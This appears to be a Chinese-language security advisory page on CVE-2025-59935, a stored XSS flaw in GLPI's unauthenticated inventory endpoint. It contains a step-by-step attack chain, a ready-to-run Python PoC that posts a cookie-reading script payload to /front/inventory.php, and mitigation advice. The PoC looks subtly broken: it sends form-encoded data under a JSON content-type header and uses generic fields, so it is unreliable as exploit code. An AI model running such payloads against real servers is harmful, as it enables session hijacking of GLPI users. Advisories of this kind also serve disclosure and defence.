IPBUF安全漏洞报告
English
CVE-2025-59935 CVSS 6.5 中危

CVE-2025-59935 GLPI inventory端点存储型XSS漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-59935
漏洞类型
存储型XSS
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
GLPI

相关标签

存储型XSSGLPICVE-2025-59935inventory端点未认证攻击会话劫持Web应用安全IT资产管理软件

漏洞概述

GLPI是一款开源的免费资产和IT管理软件包,广泛应用于企业和组织的IT资产管理系统中。该软件提供了功能强大的资产管理、库存管理、帮助台服务等功能。然而,在10.0.0版本至10.0.20版本中,存在一个严重的安全漏洞。未经身份验证的远程攻击者可以通过inventory端点注入恶意的XSS(跨站脚本攻击)有效载荷。由于该载荷会被存储在系统中,当其他用户访问相关页面时,恶意脚本将在受害者浏览器中执行,从而窃取用户会话cookie、劫持用户账户或进行其他恶意操作。此漏洞不需要任何认证,攻击者可以直接利用inventory端点进行攻击,对系统的机密性造成较高风险。虽然完整性和可用性不受影响,但攻击者成功利用此漏洞后可能导致敏感信息泄露,如用户凭证、配置信息等。建议相关用户尽快升级到10.0.21版本以修复此安全问题。

技术细节

该漏洞属于存储型跨站脚本(Stored XSS)漏洞,存在于GLPI的inventory端点中。在GLPI 10.0.0到10.0.20版本中,inventory端点对用户输入的验证和过滤不充分,允许攻击者注入恶意的JavaScript代码。攻击者可以通过发送特制的HTTP请求到inventory端点,将XSS有效载荷作为参数值提交。由于这些数据会被存储在数据库中,当系统其他用户访问相关功能页面时,被注入的恶意脚本会随页面内容一同返回并在受害者浏览器中执行。攻击者利用此漏洞可以执行任意客户端脚本代码,窃取用户的会话令牌、获取用户敏感信息、修改页面显示内容或进行钓鱼攻击。由于该端点对未认证用户开放,攻击门槛较低。漏洞的CVSS向量显示攻击复杂度低(AC:L)且不需要认证(PR:N),但需要用户交互(UI:R),这意味着攻击通常通过社会工程学手段诱导用户访问恶意链接或页面。

攻击链分析

STEP 1
步骤1
攻击者识别目标GLPI服务器版本,确认其为10.0.0到10.0.20之间的版本
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的XSS有效载荷,如<script>alert(document.cookie)</script>
STEP 3
步骤3
攻击者向GLPI的inventory端点(/front/inventory.php)发送特制的HTTP POST请求,将XSS载荷注入到inventory参数中
STEP 4
步骤4
由于inventory端点对未认证用户开放且缺乏充分的输入过滤,恶意载荷被存储在数据库中
STEP 5
步骤5
当合法用户访问inventory相关页面时,存储的恶意脚本随页面内容一同返回并在用户浏览器中执行
STEP 6
步骤6
攻击者通过执行在受害者浏览器中的JavaScript代码,窃取用户会话cookie、劫持账户或获取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-59935 PoC - GLPI Inventory Endpoint Stored XSS # Target: GLPI versions 10.0.0 to 10.0.20 # Author: Security Researcher TARGET_URL = "http://target-glpi-server" # Replace with actual target URL INVENTORY_ENDPOINT = f"{TARGET_URL}/front/inventory.php" # Malicious XSS payload xss_payload = '<script>alert(document.cookie)</script>' # Construct the inventory request with XSS payload inventory_data = { "itemtype": "Computer", "entities_id": 0, "name": f"TestComputer{xss_payload}", "serial": f"SN-{xss_payload}", "uuid": f"550e8400-e29b-41d4-a716-446655440000{xss_payload}" } def exploit(): """ Exploit stored XSS via GLPI inventory endpoint. The XSS payload will be stored and executed when other users view the inventory. """ print(f"[*] Target: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-59935: Stored XSS in inventory endpoint") try: # Send inventory request with XSS payload response = requests.post( INVENTORY_ENDPOINT, data=inventory_data, headers={ "Content-Type": "application/json", "User-Agent": "GLPI-Inventory-Agent/1.0" }, timeout=30, verify=False ) print(f"[+] Request sent. Status code: {response.status_code}") if response.status_code == 200: print(f"[+] XSS payload may have been stored successfully") print(f"[*] Payload: {xss_payload}") print(f"[*] The XSS will execute when users access the inventory page") else: print(f"[-] Unexpected response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

影响范围

GLPI 10.0.0 - 10.0.20

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)通过Web应用防火墙(WAF)规则过滤包含<script>标签和JavaScript事件处理器的请求;2)限制inventory端点的访问权限,要求用户进行身份验证;3)实施严格的输入验证规则,拒绝包含特殊字符的请求;4)启用HTTPOnly和Secure标志保护会话Cookie;5)监控日志中的异常inventory请求模式。建议在条件允许时尽快升级到10.0.21版本以获得完整的安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表